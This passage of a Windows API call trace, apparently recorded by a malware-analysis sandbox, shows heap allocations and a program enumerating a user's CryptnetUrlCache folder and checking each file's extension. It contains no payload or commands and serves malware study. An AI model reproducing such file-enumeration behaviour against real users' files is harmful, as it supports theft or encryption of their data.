hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.186] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="Content\\" [0069.186] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0069.186] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0069.186] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.186] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.186] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.186] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.186] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.186] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.186] PathFindFileNameW (pszPath="") returned="" [0069.186] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.186] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.186] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.186] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0069.186] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0069.187] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.187] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0069.187] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0069.187] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.187] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0069.187] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0069.187] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.187] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0069.187] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0069.187] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0069.187] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0069.187] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0069.187] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0069.187] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0069.187] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0069.187] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0069.187] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0069.187] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0069.187] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0069.187] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0069.187] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0069.187] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0069.188] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0069.188] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0069.188] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0069.188] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0069.188] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0069.188] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0069.188] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="" [0069.188] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0069.188] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0069.188] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0069.188] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0069.188] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0069.188] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0069.188] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0069.188] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0069.188] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0069.188] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0069.188] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0069.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0069.189] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, 